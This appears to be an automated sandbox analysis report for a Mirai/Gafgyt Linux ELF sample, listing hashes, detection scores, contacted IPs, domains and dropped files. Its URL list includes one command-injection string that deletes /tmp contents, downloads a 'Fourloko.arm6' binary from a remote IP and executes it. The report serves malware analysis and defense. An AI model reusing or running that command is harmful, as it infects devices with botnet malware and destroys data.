=
flash

VAkpLB9NSD

Status: finished
Submission Time: 14.01.2022 23:48:18
Malicious
Spreader
Trojan
Evader
Gafgyt Mirai

Comments

Tags

  • 32
  • elf
  • intel
  • mirai

Details

  • Analysis ID:
    553467
  • API (Web) ID:
    920987
  • Analysis Started:
    15.01.2022 00:06:03
  • Analysis Finished:
    15.01.2022 00:12:39
  • MD5:
    0825b7f6b6e9da31e17fd46e3a10740c
  • SHA1:
    7881665597156c61b9861714a3336de2033111f1
  • SHA256:
    3501f6be009a942c0511ff6a5b476722881edaf92a08e296310784be1beedee0
  • Technologies:
Full Report Management Report IOC Report Engine Info Verdict Score Reports

System: Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)

malicious
100/100

malicious
21/61

malicious
17/43

IPs

IP Country Detection
163.95.33.12
France
99.133.130.71
United States
143.247.216.98
United States
Click to see the 97 hidden entries
14.67.87.249
Korea Republic of
34.253.128.117
United States
35.83.239.114
United States
153.24.113.19
United States
61.33.49.81
Korea Republic of
213.246.112.224
United Kingdom
190.3.232.15
Colombia
145.161.178.182
Netherlands
14.83.92.185
Korea Republic of
163.173.208.45
France
153.53.204.94
United States
191.201.174.22
Brazil
119.110.214.225
Thailand
192.81.94.53
United States
150.64.159.117
Japan
24.248.177.16
United States
81.145.172.175
United Kingdom
206.138.73.2
United States
76.192.131.202
United States
64.157.199.238
United States
207.79.253.237
United States
24.29.43.193
United States
86.44.36.3
Ireland
111.94.22.213
Indonesia
185.174.83.174
Spain
166.191.174.159
United States
51.170.37.214
United Kingdom
20.239.176.75
United States
149.216.225.88
Germany
175.222.122.210
Korea Republic of
100.161.179.154
United States
190.11.143.232
Argentina
128.133.181.98
United States
48.142.154.56
United States
192.4.11.74
United States
102.79.205.250
Morocco
183.215.48.170
China
217.168.101.173
France
66.102.76.255
Canada
77.232.215.249
Romania
61.32.60.251
Korea Republic of
25.133.163.160
United Kingdom
9.19.79.150
United States
44.7.88.220
United States
162.174.95.245
United States
113.236.166.151
China
203.103.206.131
Australia
211.77.233.26
Taiwan; Republic of China (ROC)
144.9.114.238
United States
65.49.182.27
United States
17.91.60.69
United States
133.193.92.246
Japan
161.158.120.198
Netherlands
52.213.34.178
United States
194.42.122.175
Netherlands
65.11.83.24
United States
25.247.20.131
United Kingdom
71.174.203.94
United States
2.132.16.202
Kazakhstan
205.148.173.209
United States
86.16.68.9
United Kingdom
210.221.154.135
Korea Republic of
204.91.250.132
United States
121.98.61.91
New Zealand
185.44.231.177
Armenia
159.246.182.74
United States
206.38.111.135
United States
32.39.52.251
United States
163.99.80.145
France
106.17.119.188
China
207.245.252.226
Canada
163.61.118.13
unknown
86.102.184.89
Russian Federation
24.31.202.208
United States
205.163.75.70
United States
148.190.9.193
United States
190.231.72.81
Argentina
140.249.196.119
China
183.41.240.98
China
64.160.95.44
United States
74.97.179.107
United States
44.47.62.222
United States
205.152.84.119
United States
58.145.54.251
Korea Republic of
146.85.189.61
United States
175.34.114.201
Australia
1.191.88.99
China
54.140.144.69
United States
70.77.213.119
Canada
47.231.3.192
United States
209.194.208.209
United States
94.63.128.32
Portugal
62.175.199.40
Spain
120.83.249.29
China
77.89.4.17
Italy
27.106.96.244
India
138.93.243.222
United States

Domains

Name IP Detection
daisy.ubuntu.com
162.213.33.132

URLs

Name Detection
https://www.rsyslog.com
http://upx.sf.net
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws

Dropped files

Name File Type Hashes Detection
/home/saturnino/.config/pulse/ee49dfd4fa47433baee88884e2d7de7c-default-sink
ASCII text
#
/home/saturnino/.config/pulse/ee49dfd4fa47433baee88884e2d7de7c-default-source
very short file (no magic)
#
/memfd:30-systemd-environment-d-generator (deleted)
ASCII text
#
Click to see the 97 hidden entries
/memfd:user-environment-generators (deleted)
ASCII text
#
/proc/5534/oom_score_adj
very short file (no magic)
#
/run/gdm3.pid
ASCII text
#
/run/systemd/journal/streams/.#9:73653uiUoDx
ASCII text
#
/run/systemd/journal/streams/.#9:73654ClQDRA
ASCII text
#
/run/systemd/journal/streams/.#9:756386sXyZw
ASCII text
#
/run/systemd/journal/streams/.#9:75685RRWznB
ASCII text
#
/run/systemd/journal/streams/.#9:75915HCdGVw
ASCII text
#
/run/systemd/journal/streams/.#9:76005aWiyjz
ASCII text
#
/run/systemd/journal/streams/.#9:76014zH5pIy
ASCII text
#
/run/systemd/journal/streams/.#9:760344G3oLy
ASCII text
#
/run/systemd/journal/streams/.#9:76038xTCCEz
ASCII text
#
/run/systemd/journal/streams/.#9:76053WC3Swz
ASCII text
#
/run/systemd/journal/streams/.#9:76056Xf6cjA
ASCII text
#
/run/systemd/journal/streams/.#9:76655OMvDeA
ASCII text
#
/run/systemd/journal/streams/.#9:767134apJEx
ASCII text
#
/run/systemd/journal/streams/.#9:76717IWltVx
ASCII text
#
/run/systemd/journal/streams/.#9:767462BbcKx
ASCII text
#
/run/systemd/journal/streams/.#9:76768U3oJPz
ASCII text
#
/run/systemd/journal/streams/.#9:76769ir24PA
ASCII text
#
/run/systemd/journal/streams/.#9:76786urC0zy
ASCII text
#
/run/systemd/journal/streams/.#9:76788Cq8HvA
ASCII text
#
/run/systemd/journal/streams/.#9:77693PYSlBr
ASCII text
#
/run/systemd/journal/streams/.#9:77694GG7gpq
ASCII text
#
/run/systemd/journal/streams/.#9:776958dYSHr
ASCII text
#
/run/systemd/journal/streams/.#9:777086ktgIq
ASCII text
#
/run/systemd/journal/streams/.#9:77709ece0eu
ASCII text
#
/run/systemd/journal/streams/.#9:77722K1Jior
ASCII text
#
/run/systemd/journal/streams/.#9:77723pRhG1t
ASCII text
#
/run/systemd/journal/streams/.#9:77731YWrUqq
ASCII text
#
/run/systemd/journal/streams/.#9:79230W2K5yj
ASCII text
#
/run/systemd/journal/streams/.#9:79235VNvhDl
ASCII text
#
/run/systemd/journal/streams/.#9:79317R1An6k
ASCII text
#
/run/systemd/journal/streams/.#9:79322vtF9Oi
ASCII text
#
/run/systemd/journal/streams/.#9:79325Rut69k
ASCII text
#
/run/systemd/journal/streams/.#9:79332onSKWi
ASCII text
#
/run/systemd/journal/streams/.#9:793342muuml
ASCII text
#
/run/systemd/journal/streams/.#9:793454hwRwk
ASCII text
#
/run/systemd/journal/streams/.#9:79352jtrail
ASCII text
#
/run/systemd/journal/streams/.#9:79360e7r0Xl
ASCII text
#
/run/systemd/journal/streams/.#9:79361s2xDik
ASCII text
#
/run/systemd/journal/streams/.#9:79362f6b6Sl
ASCII text
#
/run/systemd/journal/streams/.#9:79778aA0gQG
ASCII text
#
/run/systemd/journal/streams/.#9:79779DOsHwE
ASCII text
#
/run/systemd/journal/streams/.#9:79780FAg26C
ASCII text
#
/run/systemd/journal/streams/.#9:798035KnMQC
ASCII text
#
/run/systemd/journal/streams/.#9:79805Y4qHKG
ASCII text
#
/run/systemd/journal/streams/.#9:80508fUqldC
ASCII text
#
/run/systemd/journal/streams/.#9:80509s9szDE
ASCII text
#
/run/systemd/journal/streams/.#9:80537bOKJlD
ASCII text
#
/run/systemd/journal/streams/.#9:80539XbVhCE
ASCII text
#
/run/systemd/journal/streams/.#9:80541xSwhDE
ASCII text
#
/run/systemd/journal/streams/.#9:805428YdX8E
ASCII text
#
/run/systemd/journal/streams/.#9:80586O16YuC
ASCII text
#
/run/systemd/journal/streams/.#9:80605gOjMKG
ASCII text
#
/run/systemd/journal/streams/.#9:806413ULOFC
ASCII text
#
/run/systemd/journal/streams/.#9:80677fpSInF
ASCII text
#
/run/systemd/journal/streams/.#9:81494QP3pmC
ASCII text
#
/run/systemd/journal/streams/.#9:822966yLOLl
ASCII text
#
/run/systemd/journal/streams/.#9:823052Tnlwl
ASCII text
#
/run/systemd/journal/streams/.#9:82306SlXtGk
ASCII text
#
/run/systemd/journal/streams/.#9:82312IWcMDm
ASCII text
#
/run/systemd/journal/streams/.#9:82313BcM2rk
ASCII text
#
/run/systemd/journal/streams/.#9:82314aIj4Mi
ASCII text
#
/run/systemd/journal/streams/.#9:82315Ggg1Ak
ASCII text
#
/run/systemd/journal/streams/.#9:82316d0Vixi
ASCII text
#
/run/systemd/journal/streams/.#9:82325kj5PUk
ASCII text
#
/run/systemd/journal/streams/.#9:82332X4Oy9k
ASCII text
#
/run/systemd/journal/streams/.#9:823337NgqTj
ASCII text
#
/run/systemd/journal/streams/.#9:823397oHxbj
ASCII text
#
/run/systemd/journal/streams/.#9:82340xkqblm
ASCII text
#
/run/systemd/journal/streams/.#9:82341DCw7Bm
ASCII text
#
/run/systemd/journal/streams/.#9:82585XbrKKa
ASCII text
#
/run/systemd/journal/streams/.#9:825943zQs2d
ASCII text
#
/run/systemd/journal/streams/.#9:82626x38DFc
ASCII text
#
/run/systemd/journal/streams/.#9:82627YKJOne
ASCII text
#
/run/systemd/journal/streams/.#9:8263567tlbd
ASCII text
#
/run/systemd/journal/streams/.#9:83749tN4LYb
ASCII text
#
/run/systemd/journal/streams/.#9:83753qXZNoe
ASCII text
#
/run/systemd/journal/streams/.#9:83754m4McDc
ASCII text
#
/run/systemd/journal/streams/.#9:840663g3F9a
ASCII text
#
/run/systemd/journal/streams/.#9:84180WpEzpc
ASCII text
#
/run/systemd/journal/streams/.#9:84216DfUEne
ASCII text
#
/run/systemd/seats/.#seat00Ehpul
ASCII text
#
/run/systemd/seats/.#seat04xQr9o
ASCII text
#
/run/systemd/seats/.#seat0R9FfXC
ASCII text
#
/run/systemd/seats/.#seat0hTXqCY
ASCII text
#
/run/systemd/seats/.#seat0rDraI5
ASCII text
#
/run/systemd/seats/.#seat0smcvyW
ASCII text
#
/run/systemd/seats/.#seat0wctmKU
ASCII text
#
/run/systemd/users/.#127BvfVkY
ASCII text
#
/run/systemd/users/.#127F92AyU
ASCII text
#
/run/systemd/users/.#127KrnFGp
ASCII text
#
/run/systemd/users/.#127YB323V
ASCII text
#
/run/systemd/users/.#127mvPsxW
ASCII text
#
/run/systemd/users/.#127mvkDgn
ASCII text
#
/run/systemd/users/.#127pzY1em
ASCII text
#